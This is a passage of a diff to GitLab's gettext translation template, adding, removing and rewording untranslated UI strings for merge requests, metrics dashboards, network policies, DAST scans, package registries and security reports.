msgid "MRDiff|Show changes only"
msgstr ""
@@ -14777,9 +15175,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14891,9 +15286,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -15029,6 +15421,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -15038,9 +15439,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -15068,15 +15466,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -15092,6 +15490,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -15155,6 +15556,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15287,6 +15709,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15389,6 +15817,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15398,9 +15832,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15434,9 +15865,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15450,9 +15887,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15480,6 +15914,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15504,6 +15941,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15582,6 +16022,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15634,12 +16077,18 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15805,6 +16254,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15850,6 +16308,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -16039,12 +16500,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -16054,6 +16548,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -16066,6 +16563,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -16084,12 +16584,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -16114,9 +16620,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -16129,9 +16641,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16526,12 +17083,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16619,18 +17182,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16778,9 +17335,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16820,9 +17374,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16865,21 +17416,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16889,25 +17446,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16968,9 +17531,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16989,6 +17549,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -17004,9 +17567,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -17127,18 +17696,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -17172,9 +17735,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17259,6 +17819,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17274,6 +17840,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17292,9 +17861,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17331,27 +17897,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17400,13 +17957,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17550,7 +18113,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -18054,6 +18617,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -18207,13 +18773,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -18225,6 +18791,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18516,15 +19085,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18915,6 +19478,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18939,6 +19505,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19530,7 +20099,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19539,10 +20108,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19602,6 +20180,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19656,6 +20237,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19737,6 +20321,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -20067,9 +20654,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -20167,6 +20751,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20261,6 +20848,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20303,6 +20893,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20372,9 +20965,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20408,9 +20998,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20423,12 +21010,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20477,15 +21058,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20670,9 +21245,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20864,9 +21436,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -21048,6 +21626,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -21060,6 +21641,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -21186,6 +21770,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -21216,6 +21803,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21264,6 +21854,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21306,6 +21899,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21523,6 +22119,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21550,13 +22149,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21577,6 +22200,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21604,7 +22230,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21640,13 +22266,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21661,19 +22284,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21685,6 +22302,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21703,13 +22323,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21781,7 +22401,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21790,6 +22410,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21820,9 +22443,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21946,6 +22566,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21976,6 +22599,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -22165,6 +22791,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -22177,6 +22809,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
